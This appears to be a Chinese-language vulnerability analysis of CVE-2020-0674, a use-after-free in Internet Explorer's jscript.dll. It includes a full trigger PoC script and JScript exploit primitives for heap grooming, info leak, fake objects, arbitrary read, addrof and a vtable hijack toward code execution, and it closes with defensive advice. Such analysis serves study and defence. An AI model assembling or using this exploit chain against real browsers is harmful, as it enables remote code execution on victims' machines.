IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析
字数 1476 2025-08-22 12:22:48
IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析与利用技术详解
0x01 漏洞概述
CVE-2020-0674是2020年初发现的IE浏览器0day漏洞,位于jscript.dll模块中,属于UAF(释放后重用)类型漏洞。该漏洞允许攻击者在特定条件下实现远程代码执行。
0x02 漏洞环境
- 操作系统:Windows 7 sp1 64位
- 浏览器:IE 11 (jscript.dll 5.8.9600.17840 64位)
- 调试环境:开启页堆(Page Heap)的调试环境
0x03 漏洞成因
漏洞核心成因:当Array.sort()被调用并传入一个比较函数时,jscript内部没有将此比较函数的两个参数加入GC(垃圾回收)机制,导致可以在对象被释放后得到悬垂指针(dangling pointer)。
0x04 漏洞PoC分析
<script language="JScript.Compact">
var depth = 0;
var spray_size = 10000;
var spray = new Array();
var sort = new Array();
var total = new Array();
for(i = 0; i < 110; i++) sort[i] = [0, 0];
for(i = 0; i < spray_size; i++) spray[i] = new Object();
function uaf(untracked_1, untracked_2) {
untracked_1 = spray[depth * 2];
untracked_2 = spray[depth * 2 + 1];
if(depth > 50) {
spray = new Array();
CollectGarbage();
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
depth += 1;
sort[depth].sort(uaf);
return 0;
}
sort[depth].sort(uaf);
for(i = 0; i < total.length; i++) {
typeof total[i];
}
</script>
0x05 关键数据结构
64位JScript VARIANT结构 (0x18字节)
+ 0x00 Type // (WORD)
+ 0x08 Value // (QWORD) 立即值或指针
+ 0x10 Unused // (QWORD) 大多数类型未使用
64位JScript GcBlock结构 (0x970字节)
struct GcBlock {
struct GcBlock *prev;
struct GcBlock *next;
VARIANT mem[100]; // 100个VARIANT
};
Property结构 (size = 0x40) Win7 64位
+ 0x00 var // (sizeof(VARIANT)) 当前属性值
+ 0x18 ? // (QWORD)
+ 0x20 hash // (DWORD)
+ 0x24 name_length // (DWORD) 当前属性名长度
+ 0x28 next // (QWORD) 下一个Property结构体地址
+ 0x30 ? // (QWORD)
+ 0x38 ? // (QWORD)
+ 0x40 name // 属性名
64位BSTR结构
+ 0x00 Unused // (DWORD)
+ 0x04 length // (DWORD) 字节长度(不含null字符)
+ 0x08 string // (length+2) 字符串字符(16位)后跟null字符
0x06 漏洞利用技术详解
1. 信息泄露阶段
步骤1:内存布局
- 申请大量VARIANT对象(
new Object()) - 释放这些对象,产生0x970大小的空闲堆块
- 这些堆块会被回收到低碎片堆中
步骤2:堆块重用
- 通过为jscript对象添加成员变量来重用这些空闲堆块
- 计算重用大小公式:
alloc_size = (2x + 0x42) * 2 + 8(x为Object的属性长度) - 当
alloc_size=0x970时,对应x=569
步骤3:构造错位读取
- 控制前x-1个属性名的名称和长度
- 将第x-1个Property的hash构造为5
- 设置第x个属性,使第x-1个Property的next指针指向第x个对象的Property
- 通过错位读取实现信息泄露
2. 进一步信息泄露
步骤1:读取Property指针
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number" && total[i] % 1 != 0) {
leak_lower = (total[i] / 4.9406564584124654E-324);
break;
}
}
步骤2:读取Property值
- 重新设计第一个属性的名称进行内存布局
- 通过错位读取泄露的Property指针首部对应的VARIANT
- 获取
leak_offset值
3. 内存重写函数
function rewrite(v, i){
CollectGarbage();
overlay_backup[leak_offset] = null;
CollectGarbage();
overlay_backup[leak_offset] = new Object();
overlay_backup[leak_offset][variants] = 1;
overlay_backup[leak_offset][padding] = 1;
overlay_backup[leak_offset][leak] = 1;
overlay_backup[leak_offset][v] = i;
}
4. 任意对象伪造
步骤1:构造fakeobj_var
function get_fakeobj() {
rewrite(make_variant(3, 1234));
reset();
set_variants(0x80, leak_lower + 64);
sort[depth].sort(initial_exploit);
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
if(total[i] + "" == 1234) {
fakeobj_var = total[i];
break;
}
}
}
}
5. 任意地址读取
步骤1:read_pointer函数
function read_pointer(addr_lower, addr_higher, o) {
rewrite(make_variant(8, addr_lower, addr_higher), o);
}
步骤2:read_byte函数
function read_byte(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
return (fakeobj_var.length >> 15) & 0xff;
}
6. 任意对象地址读取
function addrof(o) {
var_addr = read_dword(leak_lower + 8, 0, o);
return read_dword(var_addr + 8, 0, 1);
}
7. 远程代码执行
步骤1:泄露Native栈地址
function leak_stack_ptr() {
leak_obj = new Object();
obj_addr = addrof(leak_obj);
csession_addr = read_dword(obj_addr + 24, 0, 1);
stack_addr_lower = read_dword(csession_addr + 80, 0, 1);
stack_addr_upper = read_dword(csession_addr + 84, 0, 1);
return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}
步骤2:虚表劫持
- 伪造jscript!NameTbl对象和虚表
- 将虚表第28项(原为jscript!ObjEvtHandler::FPersist)改写为ntdll!NtContinue地址
步骤3:触发执行
- 将第4个Property的name伪造为Type=0x81的对象
- Value设为伪造的jscript!NameTbl对象
- 虚表指针设为伪造的虚表
- 对fakeobj_var调用typeof函数触发虚函数调用
0x07 防御建议
- 及时安装微软发布的补丁更新
- 禁用或限制JScript的使用
- 使用最新的浏览器版本
- 启用增强的防护机制(如EMET)
- 监控和限制可疑的脚本行为
0x08 参考资源
- CVE-2020-0674 Exploit代码
- 微软安全公告
- JScript垃圾回收机制内部原理
- 相关漏洞分析:CVE-2018-8353、CVE-2017-11906、CVE-2017-11907